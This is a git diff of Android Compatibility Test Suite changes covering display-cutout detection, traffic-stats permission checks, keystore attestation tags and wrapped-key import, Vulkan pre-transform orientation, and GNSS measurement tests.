import static android.server.am.Components.TEST_ACTIVITY;
import static android.server.am.StateLogger.log;
@@ -64,6 +67,7 @@
import static android.view.Display.DEFAULT_DISPLAY;
import static android.view.Display.INVALID_DISPLAY;
+import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
@@ -144,6 +148,11 @@
private static final String LOCK_CREDENTIAL = "1234";
+ // TODO(b/70247058): Use {@link Context#sendBroadcast(Intent).
+ // Shell command to finish {@link #BROADCAST_RECEIVER_ACTIVITY}.
+ static final String FINISH_ACTIVITY_BROADCAST = "am broadcast -a "
+ + ACTION_TRIGGER_BROADCAST + " --ez " + EXTRA_FINISH_BROADCAST + " true";
+
private static final int UI_MODE_TYPE_MASK = 0x0f;
private static final int UI_MODE_TYPE_VR_HEADSET = 0x07;
@@ -1100,6 +1109,8 @@
"(.+): config size=\\((\\d+),(\\d+)\\) displaySize=\\((\\d+),(\\d+)\\)"
+ " metricsSize=\\((\\d+),(\\d+)\\) smallestScreenWidth=(\\d+) densityDpi=(\\d+)"
+ " orientation=(\\d+)");
+ private static final Pattern sDisplayCutoutPattern = Pattern.compile(
+ "(.+): cutout=(true|false)");
private static final Pattern sDisplayStatePattern =
Pattern.compile("Display Power: state=(.+)");
private static final Pattern sCurrentUiModePattern = Pattern.compile("mCurUiMode=0x(\\d+)");
@@ -1181,6 +1192,59 @@
return null;
}
+ /** Check if a device has display cutout. */
+ boolean hasDisplayCutout() {
+ // Launch an activity to report cutout state
+ final LogSeparator logSeparator = separateLogs();
+ launchActivity(BROADCAST_RECEIVER_ACTIVITY);
+
+ // Read the logs to check if cutout is present
+ final Boolean displayCutoutPresent =
+ getCutoutStateForActivity(BROADCAST_RECEIVER_ACTIVITY, logSeparator);
+ assertNotNull("The activity should report cutout state", displayCutoutPresent);
+
+ // Finish activity
+ executeShellCommand(FINISH_ACTIVITY_BROADCAST);
+ mAmWmState.waitForWithAmState(
+ (state) -> !state.containsActivity(BROADCAST_RECEIVER_ACTIVITY),
+ "Waiting for activity to be removed");
+
+ return displayCutoutPresent;
+ }
+
+ /**
+ * Wait for activity to report cutout state in logs and return it. Will return {@code null}
+ * after timeout.
+ */
+ @Nullable
+ private Boolean getCutoutStateForActivity(ComponentName activityName,
+ LogSeparator logSeparator) {
+ final String logTag = getLogTag(activityName);
+ for (int retry = 1; retry <= 5; retry++ ) {
+ final Boolean result = readLastReportedCutoutState(logSeparator, logTag);
+ if (result != null) {
+ return result;
+ }
+ logAlways("***Waiting for cutout state to be reported... retry=" + retry);
+ SystemClock.sleep(1000);
+ }
+ logE("***Waiting for activity cutout state failed: activityName=" + logTag);
+ return null;
+ }
+
+ /** Read display cutout state from device logs. */
+ private Boolean readLastReportedCutoutState(LogSeparator logSeparator, String logTag) {
+ final String[] lines = getDeviceLogsForComponents(logSeparator, logTag);
+ for (int i = lines.length - 1; i >= 0; i--) {
+ final String line = lines[i].trim();
+ final Matcher matcher = sDisplayCutoutPattern.matcher(line);
+ if (matcher.matches()) {
+ return "true".equals(matcher.group(2));
+ }
+ }
+ return null;
+ }
+
/** Waits for at least one onMultiWindowModeChanged event. */
ActivityLifecycleCounts waitForOnMultiWindowModeChanged(ComponentName activityName,
LogSeparator logSeparator) {
diff --git a/tests/framework/base/windowmanager/dndtargetappsdk23/Android.mk b/tests/framework/base/windowmanager/dndtargetappsdk23/Android.mk
index 59f4ab1..d1a76fd 100644
--- a/tests/framework/base/windowmanager/dndtargetappsdk23/Android.mk
+++ b/tests/framework/base/windowmanager/dndtargetappsdk23/Android.mk
@@ -25,7 +25,7 @@
LOCAL_SDK_VERSION := 23
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
LOCAL_PACKAGE_NAME := CtsDragAndDropTargetAppSdk23
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java b/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java
index cc8eba0..0946221 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java
@@ -104,6 +104,10 @@
// If we have LAYOUT_IN_SCREEN and LAYOUT_IN_OVERSCAN with MATCH_PARENT,
// we will not be constrained to the insets and so we will be the same size
// as the main window main frame.
+ // TODO: b/80262496
+ // LAYOUT_IN_OVERSCAN isn't allowing windows to extend in to cutouts. We will have
+ // to revisit whether to modify the behavior, or this test.
+ @Ignore
@Test
public void testMatchParentDialogLayoutInOverscan() throws Exception {
doParentChildTest(TEST_MATCH_PARENT_LAYOUT_IN_OVERSCAN, (parent, dialog) ->
diff --git a/tests/netlegacy22.permission/src/android/net/cts/legacy/api22/permission/QtaguidPermissionTest.java b/tests/netlegacy22.permission/src/android/net/cts/legacy/api22/permission/QtaguidPermissionTest.java
index 08fd753..60d2a2a 100644
--- a/tests/netlegacy22.permission/src/android/net/cts/legacy/api22/permission/QtaguidPermissionTest.java
+++ b/tests/netlegacy22.permission/src/android/net/cts/legacy/api22/permission/QtaguidPermissionTest.java
@@ -19,8 +19,6 @@
import java.io.InputStream;
import java.io.OutputStream;
-
-
public class QtaguidPermissionTest extends AndroidTestCase {
private static final String QTAGUID_STATS_FILE = "/proc/net/xt_qtaguid/stats";
@@ -56,19 +54,20 @@
}
}
- private void accessOwnTrafficStats() throws IOException {
+ private void accessOwnTrafficStats(long expectedTxBytes) throws IOException {
final int ownAppUid = getContext().getApplicationInfo().uid;
- boolean foundOwnDetailedStats = false;
+ long totalTxBytes = 0;
try {
BufferedReader qtaguidReader = new BufferedReader(new FileReader(QTAGUID_STATS_FILE));
String line;
while ((line = qtaguidReader.readLine()) != null) {
String tokens[] = line.split(" ");
if (tokens.length > 3 && tokens[3].equals(String.valueOf(ownAppUid))) {
- if (!tokens[2].equals("0x0")) {
- foundOwnDetailedStats = true;
+ // Check the total stats of this uid is larger then 1MB
+ if (tokens[2].equals("0x0")) {
+ totalTxBytes += Integer.parseInt(tokens[7]);
}
}
}
@@ -76,7 +75,8 @@
} catch (FileNotFoundException e) {
fail("Was not able to access qtaguid/stats: " + e);
}
- assertTrue("Was expecting to find own traffic stats", foundOwnDetailedStats);
+ assertTrue(totalTxBytes + " expected to be greater than or equal to"
+ + expectedTxBytes + "bytes", totalTxBytes >= expectedTxBytes);
}
public void testAccessOwnQtaguidTrafficStats() throws IOException {
@@ -124,6 +124,6 @@
server.close();
}
- accessOwnTrafficStats();
+ accessOwnTrafficStats(byteCount * packetCount);
}
}
diff --git a/tests/security/src/android/keystore/cts/AuthorizationList.java b/tests/security/src/android/keystore/cts/AuthorizationList.java
index 460bbf7..e4c5eb6 100644
--- a/tests/security/src/android/keystore/cts/AuthorizationList.java
+++ b/tests/security/src/android/keystore/cts/AuthorizationList.java
@@ -105,15 +105,18 @@
private static final int KM_TAG_PADDING = KM_ENUM_REP | 6;
private static final int KM_TAG_EC_CURVE = KM_ENUM | 10;
private static final int KM_TAG_RSA_PUBLIC_EXPONENT = KM_ULONG | 200;
+ private static final int KM_TAG_ROLLBACK_RESISTANCE = KM_BOOL | 303;
private static final int KM_TAG_ACTIVE_DATETIME = KM_DATE | 400;
private static final int KM_TAG_ORIGINATION_EXPIRE_DATETIME = KM_DATE | 401;
private static final int KM_TAG_USAGE_EXPIRE_DATETIME = KM_DATE | 402;
private static final int KM_TAG_NO_AUTH_REQUIRED = KM_BOOL | 503;
private static final int KM_TAG_USER_AUTH_TYPE = KM_ENUM | 504;
- private static final int KM_TAG_ALLOW_WHILE_ON_BODY = KM_BOOL | 506;
private static final int KM_TAG_AUTH_TIMEOUT = KM_UINT | 505;
+ private static final int KM_TAG_ALLOW_WHILE_ON_BODY = KM_BOOL | 506;
+ private static final int KM_TAG_TRUSTED_USER_PRESENCE_REQUIRED = KM_BOOL | 507;
+ private static final int KM_TAG_TRUSTED_CONFIRMATION_REQUIRED = KM_BOOL | 508;
+ private static final int KM_TAG_UNLOCKED_DEVICE_REQUIRED = KM_BOOL | 509;
private static final int KM_TAG_ALL_APPLICATIONS = KM_BOOL | 600;
- private static final int KM_TAG_APPLICATION_ID = KM_BYTES | 601;
private static final int KM_TAG_CREATION_DATETIME = KM_DATE | 701;
private static final int KM_TAG_ORIGIN = KM_ENUM | 702;
private static final int KM_TAG_ROLLBACK_RESISTANT = KM_BOOL | 703;
@@ -129,6 +132,8 @@
private static final int KM_TAG_ATTESTATION_ID_MEID = KM_BYTES | 715;
private static final int KM_TAG_ATTESTATION_ID_MANUFACTURER = KM_BYTES | 716;
private static final int KM_TAG_ATTESTATION_ID_MODEL = KM_BYTES | 717;
+ private static final int KM_TAG_VENDOR_PATCHLEVEL = KM_UINT | 718;
+ private static final int KM_TAG_BOOT_PATCHLEVEL = KM_UINT | 719;
// Map for converting padding values to strings
private static final ImmutableMap<Integer, String> paddingMap = ImmutableMap
@@ -183,6 +188,8 @@
private RootOfTrust rootOfTrust;
private Integer osVersion;
private Integer osPatchLevel;
+ private Integer vendorPatchLevel;
+ private Integer bootPatchLevel;
private AttestationApplicationId attestationApplicationId;
private String brand;
private String device;
@@ -192,6 +199,8 @@
private String product;
private String manufacturer;
private String model;
+ private boolean userPresenceRequired;
+ private boolean confirmationRequired;
public AuthorizationList(ASN1Encodable sequence) throws CertificateParsingException {
if (!(sequence instanceof ASN1Sequence)) {
@@ -243,6 +252,12 @@
case KM_TAG_OS_PATCHLEVEL & KEYMASTER_TAG_TYPE_MASK:
osPatchLevel = Asn1Utils.getIntegerFromAsn1(value);
break;
+ case KM_TAG_VENDOR_PATCHLEVEL & KEYMASTER_TAG_TYPE_MASK:
+ vendorPatchLevel = Asn1Utils.getIntegerFromAsn1(value);
+ break;
+ case KM_TAG_BOOT_PATCHLEVEL & KEYMASTER_TAG_TYPE_MASK:
+ bootPatchLevel = Asn1Utils.getIntegerFromAsn1(value);
+ break;
case KM_TAG_ACTIVE_DATETIME & KEYMASTER_TAG_TYPE_MASK:
activeDateTime = Asn1Utils.getDateFromAsn1(value);
break;
@@ -252,9 +267,6 @@
case KM_TAG_USAGE_EXPIRE_DATETIME & KEYMASTER_TAG_TYPE_MASK:
usageExpireDateTime = Asn1Utils.getDateFromAsn1(value);
break;
- case KM_TAG_APPLICATION_ID & KEYMASTER_TAG_TYPE_MASK:
- applicationId = Asn1Utils.getByteArrayFromAsn1(value);
- break;
case KM_TAG_ROLLBACK_RESISTANT & KEYMASTER_TAG_TYPE_MASK:
rollbackResistant = true;
break;
@@ -304,6 +316,12 @@
case KM_TAG_ALL_APPLICATIONS & KEYMASTER_TAG_TYPE_MASK:
allApplications = true;
break;
+ case KM_TAG_TRUSTED_USER_PRESENCE_REQUIRED & KEYMASTER_TAG_TYPE_MASK:
+ userPresenceRequired = true;
+ break;
+ case KM_TAG_TRUSTED_CONFIRMATION_REQUIRED & KEYMASTER_TAG_TYPE_MASK:
+ confirmationRequired = true;
+ break;
}
}
@@ -529,6 +547,14 @@
return osPatchLevel;
}
+ public Integer getVendorPatchLevel() {
+ return vendorPatchLevel;
+ }
+
+ public Integer getBootPatchLevel() {
+ return bootPatchLevel;
+ }
+
public AttestationApplicationId getAttestationApplicationId() {
return attestationApplicationId;
}
@@ -565,6 +591,14 @@
return model;
};
+ public boolean isUserPresenceRequired() {
+ return userPresenceRequired;
+ }
+
+ public boolean isConfirmationRequired() {
+ return confirmationRequired;
+ }
+
private String getStringFromAsn1Value(ASN1Primitive value) throws CertificateParsingException {
try {
return Asn1Utils.getStringFromAsn1OctetStreamAssumingUTF8(value);
@@ -654,10 +688,26 @@
s.append("\nOS Patchlevel: ").append(osPatchLevel);
}
+ if (vendorPatchLevel != null) {
+ s.append("\nVendor Patchlevel: ").append(vendorPatchLevel);
+ }
+
+ if (bootPatchLevel != null) {
+ s.append("\nBoot Patchlevel: ").append(bootPatchLevel);
+ }
+
if (attestationApplicationId != null) {
s.append("\nAttestation Application Id:").append(attestationApplicationId);
}
+ if (userPresenceRequired) {
+ s.append("\nUser presence required");
+ }
+
+ if (confirmationRequired) {
+ s.append("\nConfirmation required");
+ }
+
if (brand != null) {
s.append("\nBrand: ").append(brand);
}
diff --git a/tests/signature/src/android/signature/cts/DexMemberChecker.java b/tests/signature/src/android/signature/cts/DexMemberChecker.java
index edf4201..528e868 100644
--- a/tests/signature/src/android/signature/cts/DexMemberChecker.java
+++ b/tests/signature/src/android/signature/cts/DexMemberChecker.java
@@ -115,7 +115,10 @@
private static Class<?> findClass(DexMember dexMember) {
try {
- return Class.forName(dexMember.getJavaClassName());
+ // Try to find the class. Do not initialize it - we do not want to run
+ // static initializers.
+ return Class.forName(dexMember.getJavaClassName(), /* initialize */ false,
+ DexMemberChecker.class.getClassLoader());
} catch (ClassNotFoundException ex) {
return null;
}
diff --git a/tests/tests/graphics/AndroidManifest.xml b/tests/tests/graphics/AndroidManifest.xml
index dd80315..76552a1 100644
--- a/tests/tests/graphics/AndroidManifest.xml
+++ b/tests/tests/graphics/AndroidManifest.xml
@@ -38,7 +38,6 @@
<activity android:name="android.graphics.cts.VulkanPreTransformCtsActivity"
android:label="VulkanPreTransformCtsActivity"
- android:screenOrientation="landscape"
android:theme="@android:style/Theme.NoTitleBar.Fullscreen">
</activity>
diff --git a/tests/tests/graphics/jni/VulkanPreTransformTestHelpers.cpp b/tests/tests/graphics/jni/VulkanPreTransformTestHelpers.cpp
index bdcb7b3..7019ea4 100644
--- a/tests/tests/graphics/jni/VulkanPreTransformTestHelpers.cpp
+++ b/tests/tests/graphics/jni/VulkanPreTransformTestHelpers.cpp
@@ -290,6 +290,13 @@
static_cast<uint32_t>(surfaceCapabilities.currentTransform),
static_cast<uint32_t>(preTransform));
+ if ((preTransform &
+ (VK_SURFACE_TRANSFORM_ROTATE_90_BIT_KHR | VK_SURFACE_TRANSFORM_ROTATE_270_BIT_KHR |
+ VK_SURFACE_TRANSFORM_HORIZONTAL_MIRROR_ROTATE_90_BIT_KHR |
+ VK_SURFACE_TRANSFORM_HORIZONTAL_MIRROR_ROTATE_270_BIT_KHR)) != 0) {
+ std::swap(mDisplaySize.width, mDisplaySize.height);
+ }
+
const uint32_t queueFamilyIndex = mDeviceInfo->queueFamilyIndex();
const VkSwapchainCreateInfoKHR swapchainCreateInfo = {
.sType = VK_STRUCTURE_TYPE_SWAPCHAIN_CREATE_INFO_KHR,
diff --git a/tests/tests/graphics/jni/android_graphics_cts_VulkanPreTransformCtsActivity.cpp b/tests/tests/graphics/jni/android_graphics_cts_VulkanPreTransformCtsActivity.cpp
index 7d1a428..2a347b2 100644
--- a/tests/tests/graphics/jni/android_graphics_cts_VulkanPreTransformCtsActivity.cpp
+++ b/tests/tests/graphics/jni/android_graphics_cts_VulkanPreTransformCtsActivity.cpp
@@ -33,7 +33,6 @@
namespace {
-
jboolean validatePixelValues(JNIEnv* env, jboolean setPreTransform) {
jclass clazz = env->FindClass("android/graphics/cts/VulkanPreTransformTest");
jmethodID mid = env->GetStaticMethodID(clazz, "validatePixelValuesAfterRotation", "(Z)Z");
diff --git a/tests/tests/graphics/src/android/graphics/cts/VulkanPreTransformCtsActivity.java b/tests/tests/graphics/src/android/graphics/cts/VulkanPreTransformCtsActivity.java
index 0d426d4..0194044 100644
--- a/tests/tests/graphics/src/android/graphics/cts/VulkanPreTransformCtsActivity.java
+++ b/tests/tests/graphics/src/android/graphics/cts/VulkanPreTransformCtsActivity.java
@@ -17,11 +17,15 @@
package android.graphics.cts;
import android.app.Activity;
+import android.content.Context;
+import android.content.pm.ActivityInfo;
import android.content.res.AssetManager;
+import android.content.res.Configuration;
import android.os.Bundle;
import android.util.Log;
import android.view.Surface;
import android.view.SurfaceView;
+import android.view.WindowManager;
/**
* Activity for VulkanPreTransformTest.
@@ -33,19 +37,50 @@
private static final String TAG = "vulkan";
+ private static boolean sOrientationRequested = false;
+
protected Surface mSurface;
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Log.d(TAG, "onCreate!");
+ setActivityOrientation();
setContentView(R.layout.vulkan_pretransform_layout);
SurfaceView surfaceView = (SurfaceView) findViewById(R.id.surfaceview);
mSurface = surfaceView.getHolder().getSurface();
}
+ private void setActivityOrientation() {
+ if (sOrientationRequested) {
+ // it might be called again because changing the orientation kicks off onCreate again!.
+ return;
+ }
+
+ if (((WindowManager) getSystemService(Context.WINDOW_SERVICE))
+ .getDefaultDisplay()
+ .getRotation()
+ != Surface.ROTATION_0) {
+ throw new RuntimeException("Display not in natural orientation");
+ }
+
+ if (getResources().getConfiguration().orientation == Configuration.ORIENTATION_LANDSCAPE) {
+ setRequestedOrientation(ActivityInfo.SCREEN_ORIENTATION_PORTRAIT);
+ } else {
+ setRequestedOrientation(ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE);
+ }
+ sOrientationRequested = true;
+ }
+
+ public int getRotation() {
+ return ((WindowManager) getSystemService(Context.WINDOW_SERVICE))
+ .getDefaultDisplay()
+ .getRotation();
+ }
+
public void testVulkanPreTransform(boolean setPreTransform) {
nCreateNativeTest(getAssets(), mSurface, setPreTransform);
+ sOrientationRequested = false;
}
private static native void nCreateNativeTest(
diff --git a/tests/tests/graphics/src/android/graphics/cts/VulkanPreTransformTest.java b/tests/tests/graphics/src/android/graphics/cts/VulkanPreTransformTest.java
index cc2259a..06f92d3 100644
--- a/tests/tests/graphics/src/android/graphics/cts/VulkanPreTransformTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/VulkanPreTransformTest.java
@@ -28,6 +28,7 @@
import android.test.suitebuilder.annotation.LargeTest;
import android.util.Log;
import android.view.PixelCopy;
+import android.view.Surface;
import android.view.SurfaceView;
import com.android.compatibility.common.util.SynchronousPixelCopy;
@@ -38,25 +39,34 @@
import org.junit.runner.RunWith;
/*
- * This test case runs in landscape mode
- *
* testVulkanPreTransformSetToMatchCurrentTransform()
*
- * Buffer ExpectedScreen
- * --------- ---------------
- * | R | G | | GGGG | YYYY |
- * --------- ---------------
- * | B | Y | | RRRR | BBBB |
- * --------- ---------------
+ * For devices rotating 90 degree CW when orientation changes.
+ *
+ * Buffer Screen
+ * --------- ---------
+ * | R | G | | G | Y |
+ * --------- ---------
+ * | B | Y | | R | B |
+ * --------- ---------
+ *
+ * For devices rotating 90 degree CCW when orientation changes.
+ *
+ * Buffer Screen
+ * --------- ---------
+ * | R | G | | B | R |
+ * --------- ---------
+ * | B | Y | | Y | G |
+ * --------- ---------
*
* testVulkanPreTransformNotSetToMatchCurrentTransform()
*
- * Buffer ExpectedScreen
- * --------- ---------------
- * | R | G | | RRRR | GGGG |
- * --------- ---------------
- * | B | Y | | BBBB | YYYY |
- * --------- ---------------
+ * Buffer Screen
+ * --------- ---------
+ * | R | G | | R | G |
+ * --------- ---------
+ * | B | Y | | B | Y |
+ * --------- ---------
*/
@LargeTest
@@ -126,16 +136,23 @@
int width = bitmap.getWidth();
int height = bitmap.getHeight();
int diff = 0;
- if (setPreTransform) {
- diff += pixelDiff(bitmap.getPixel(0, 0), 0, 255, 0);
- diff += pixelDiff(bitmap.getPixel(width - 1, 0), 255, 255, 0);
- diff += pixelDiff(bitmap.getPixel(0, height - 1), 255, 0, 0);
- diff += pixelDiff(bitmap.getPixel(width - 1, height - 1), 0, 0, 255);
- } else {
+ if (!setPreTransform) {
diff += pixelDiff(bitmap.getPixel(0, 0), 255, 0, 0);
diff += pixelDiff(bitmap.getPixel(width - 1, 0), 0, 255, 0);
diff += pixelDiff(bitmap.getPixel(0, height - 1), 0, 0, 255);
diff += pixelDiff(bitmap.getPixel(width - 1, height - 1), 255, 255, 0);
+ } else if (sActivity.getRotation() == Surface.ROTATION_270) {
+ // For devices rotating 90 degree CCW when orientation changes.
+ diff += pixelDiff(bitmap.getPixel(0, 0), 0, 0, 255);
+ diff += pixelDiff(bitmap.getPixel(width - 1, 0), 255, 0, 0);
+ diff += pixelDiff(bitmap.getPixel(0, height - 1), 255, 255, 0);
+ diff += pixelDiff(bitmap.getPixel(width - 1, height - 1), 0, 255, 0);
+ } else {
+ // For devices rotating 90 degree CW when orientation changes.
+ diff += pixelDiff(bitmap.getPixel(0, 0), 0, 255, 0);
+ diff += pixelDiff(bitmap.getPixel(width - 1, 0), 255, 255, 0);
+ diff += pixelDiff(bitmap.getPixel(0, height - 1), 255, 0, 0);
+ diff += pixelDiff(bitmap.getPixel(width - 1, height - 1), 0, 0, 255);
}
return diff < 10;
diff --git a/tests/tests/keystore/src/android/keystore/cts/ImportWrappedKeyTest.java b/tests/tests/keystore/src/android/keystore/cts/ImportWrappedKeyTest.java
index 66514c4..c9d2e2b 100644
--- a/tests/tests/keystore/src/android/keystore/cts/ImportWrappedKeyTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/ImportWrappedKeyTest.java
@@ -58,6 +58,7 @@
import java.util.Arrays;
import javax.crypto.Cipher;
+import javax.crypto.KeyGenerator;
import javax.crypto.spec.GCMParameterSpec;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.OAEPParameterSpec;
@@ -120,12 +121,11 @@
if (!TestUtils.supports3DES()) {
return;
}
-
- random.setSeed(0);
-
- byte[] keyMaterial = new byte[24]; // 192 bits in a 168-bit 3DES key
+ KeyGenerator kg = KeyGenerator.getInstance("DESEDE");
+ kg.init(168);
+ byte[] keyMaterial = kg.generateKey().getEncoded();
random.nextBytes(keyMaterial);
- byte[] mask = new byte[32]; // Zero mask
+ byte[] mask = new byte[24]; // Zero mask
KeyPair kp;
try {
@@ -169,17 +169,35 @@
}
if (TestUtils.hasStrongBox(getContext())) {
- random.setSeed(0);
-
- byte[] keyMaterial = new byte[32];
+ KeyGenerator kg = KeyGenerator.getInstance("DESEDE");
+ kg.init(168);
+ byte[] keyMaterial = kg.generateKey().getEncoded();
random.nextBytes(keyMaterial);
- byte[] mask = new byte[32]; // Zero mask
+ byte[] mask = new byte[24]; // Zero mask
importWrappedKey(wrapKey(
genKeyPair(WRAPPING_KEY_ALIAS, true).getPublic(),
keyMaterial,
mask,
makeAuthList(168, KM_ALGORITHM_3DES)));
+
+ // Use Key
+ KeyStore keyStore = KeyStore.getInstance("AndroidKeyStore");
+ keyStore.load(null, null);
+
+ assertTrue("Failed to load key after wrapped import", keyStore.containsAlias(ALIAS));
+
+ Key key = keyStore.getKey(ALIAS, null);
+
+ Cipher c = Cipher.getInstance("DESede/CBC/PKCS7Padding");
+ c.init(Cipher.ENCRYPT_MODE, key);
+ IvParameterSpec paramSpec = new IvParameterSpec(c.getIV());
+ byte[] encrypted = c.doFinal("hello, world".getBytes());
+
+ c = Cipher.getInstance("DESede/CBC/PKCS7Padding");
+ c.init(Cipher.DECRYPT_MODE, key, paramSpec);
+
+ assertEquals(new String(c.doFinal(encrypted)), "hello, world");
} else {
try {
genKeyPair(WRAPPING_KEY_ALIAS, true);
@@ -202,6 +220,25 @@
keyMaterial,
mask,
makeAuthList(keyMaterial.length * 8, KM_ALGORITHM_AES)));
+
+ // Use Key
+ KeyStore keyStore = KeyStore.getInstance("AndroidKeyStore");
+ keyStore.load(null, null);
+
+ assertTrue("Failed to load key after wrapped import", keyStore.containsAlias(ALIAS));
+
+ Key key = keyStore.getKey(ALIAS, null);
+
+ Cipher c = Cipher.getInstance("AES/CBC/PKCS7Padding");
+ c.init(Cipher.ENCRYPT_MODE, key);
+ IvParameterSpec paramSpec = new IvParameterSpec(c.getIV());
+
+ byte[] encrypted = c.doFinal("hello, world".getBytes());
+
+ c = Cipher.getInstance("AES/CBC/PKCS7Padding");
+ c.init(Cipher.DECRYPT_MODE, key, paramSpec);
+
+ assertEquals(new String(c.doFinal(encrypted)), "hello, world");
} else {
try {
random.setSeed(0);
diff --git a/tests/tests/location/src/android/location/cts/GnssLocationRateChangeTest.java b/tests/tests/location/src/android/location/cts/GnssLocationRateChangeTest.java
index e363a4b..b9eb5fd 100644
--- a/tests/tests/location/src/android/location/cts/GnssLocationRateChangeTest.java
+++ b/tests/tests/location/src/android/location/cts/GnssLocationRateChangeTest.java
@@ -16,6 +16,8 @@
package android.location.cts;
+import android.platform.test.annotations.AppModeFull;
+
/**
* Test the "gps" location output works through various rate changes
*
@@ -65,6 +67,7 @@
* and firmware state machine layers, ensuring Location output
* remains responsive after all is done.
*/
+ @AppModeFull(reason = "Flaky in instant mode.")
public void testVariedRates() throws Exception {
if (!TestUtils.deviceHasGpsFeature(getContext())) {
return;
diff --git a/tests/tests/location/src/android/location/cts/GnssMeasurementValuesTest.java b/tests/tests/location/src/android/location/cts/GnssMeasurementValuesTest.java
index 1cb02d4..216989f 100644
--- a/tests/tests/location/src/android/location/cts/GnssMeasurementValuesTest.java
+++ b/tests/tests/location/src/android/location/cts/GnssMeasurementValuesTest.java
@@ -20,7 +20,9 @@
import android.location.GnssMeasurementsEvent;
import android.util.Log;
+import java.util.HashSet;
import java.util.List;
+import java.util.Set;
/**
* Test the {@link GnssMeasurement} values.
@@ -31,8 +33,8 @@
* 3. Wait for {@link #LOCATION_TO_COLLECT_COUNT} locations.
* 3.1 Confirm locations have been found.
* 4. Check {@link GnssMeasurementsEvent} status: if the status is not
- * {@link GnssMeasurementsEvent#STATUS_READY}, the test will be skipped because one of the
- * following reasons:
+ * {@link GnssMeasurementsEvent.Callback#STATUS_READY}, the test will be skipped because
+ * one of the following reasons:
* 4.1 the device does not support the GPS feature,
* 4.2 GPS Location is disabled in the device and this is CTS (non-verifier)
* 5. Verify {@link GnssMeasurement}s (all mandatory fields), the test will fail if any of the
@@ -42,15 +44,19 @@
private static final String TAG = "GnssMeasValuesTest";
private static final int LOCATION_TO_COLLECT_COUNT = 5;
+ private static final int YEAR_2017 = 2017;
private TestGnssMeasurementListener mMeasurementListener;
private TestLocationListener mLocationListener;
+ // Store list of Satellites including Gnss Band, constellation & SvId
+ private Set<String> mGnssMeasSvStringIds;
@Override
protected void setUp() throws Exception {
super.setUp();
mTestLocationManager = new TestLocationManager(getContext());
+ mGnssMeasSvStringIds = new HashSet<>();
}
@Override
@@ -73,7 +79,7 @@
public void testListenForGnssMeasurements() throws Exception {
// Checks if GPS hardware feature is present, skips test (pass) if not,
// and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
- if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager,
+ if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager,
TAG, MIN_HARDWARE_YEAR_MEASUREMENTS_REQUIRED, isCtsVerifierTest())) {
return;
}
@@ -84,12 +90,19 @@
mMeasurementListener = new TestGnssMeasurementListener(TAG);
mTestLocationManager.registerGnssMeasurementCallback(mMeasurementListener);
+ // Register a status callback to enable checking Svs across status & measurements.
+ // Count in status callback is not important as this test is pass/fail based on
+ // measurement count, not status count.
+ TestGnssStatusCallback gnssStatusCallback = new TestGnssStatusCallback(TAG, 0);
+ mTestLocationManager.registerGnssStatusCallback(gnssStatusCallback);
+
boolean success = mLocationListener.await();
SoftAssert.failOrWarning(isMeasurementTestStrict(),
"Time elapsed without getting enough location fixes."
+ " Possibly, the test has been run deep indoors."
+ " Consider retrying test outdoors.",
success);
+ mTestLocationManager.unregisterGnssStatusCallback(gnssStatusCallback);
Log.i(TAG, "Location status received = " + mLocationListener.isLocationReceived());
@@ -123,12 +136,34 @@
measurement, softAssert, timeInNs);
carrierPhaseQualityPrrFound |=
TestMeasurementUtil.gnssMeasurementHasCarrierPhasePrr(measurement);
+ if (measurement.hasCarrierFrequencyHz()) {
+ mGnssMeasSvStringIds.add(
+ TestMeasurementUtil.getUniqueSvStringId(measurement.getConstellationType(),
+ measurement.getSvid(), measurement.getCarrierFrequencyHz()));
+ } else {
+ mGnssMeasSvStringIds.add(
+ TestMeasurementUtil.getUniqueSvStringId(measurement.getConstellationType(),
+ measurement.getSvid()));
+ }
}
}
softAssert.assertOrWarnTrue(isMeasurementTestStrict(),
"GNSS Measurements PRRs with Carrier Phase "
+ "level uncertainties. If failed, retry near window or outdoors?",
carrierPhaseQualityPrrFound);
+ Log.i(TAG, "Meas received for:" + mGnssMeasSvStringIds);
+ Log.i(TAG, "Status Received for:" + gnssStatusCallback.getGnssUsedSvStringIds());
+ if (mTestLocationManager.getLocationManager().getGnssYearOfHardware() >= YEAR_2017) {
+ // Get all SVs marked as USED in GnssStatus. Remove any SV for which measurement
+ // is received. The resulting list should ideally be empty (How can you use a SV
+ // with no measurement). To allow for race condition where the last GNSS Status
+ // has 1 SV with used flag set, but the corresponding measurement has not yet been
+ // received, the check is done as <= 1
+ Set<String> svDiff = gnssStatusCallback.getGnssUsedSvStringIds();
+ svDiff.removeAll(mGnssMeasSvStringIds);
+ softAssert.assertTrue("Used Svs with no Meas: " + (svDiff.isEmpty() ? "None" : svDiff),
+ svDiff.size() <= 1);
+ }
softAssert.assertAll();
}
}
diff --git a/tests/tests/location/src/android/location/cts/GnssPseudorangeVerificationTest.java b/tests/tests/location/src/android/location/cts/GnssPseudorangeVerificationTest.java
index d86d612..0a9d2b6 100644
--- a/tests/tests/location/src/android/location/cts/GnssPseudorangeVerificationTest.java
+++ b/tests/tests/location/src/android/location/cts/GnssPseudorangeVerificationTest.java
@@ -21,6 +21,7 @@
import android.location.GnssMeasurementsEvent;
import android.location.GnssStatus;
import android.location.Location;
+import android.platform.test.annotations.AppModeFull;
import android.util.Log;
import com.android.compatibility.common.util.CddTest;
import java.util.ArrayList;
@@ -235,6 +236,7 @@
* Location Manager.
*/
@CddTest(requirement = "7.3.3")
+ @AppModeFull(reason = "Flaky in instant mode")
public void testPseudoPosition() throws Exception {
// Checks if Gnss hardware feature is present, skips test (pass) if not,
// and hard asserts that Location/Gnss (Provider) is turned on if is Cts Verifier.
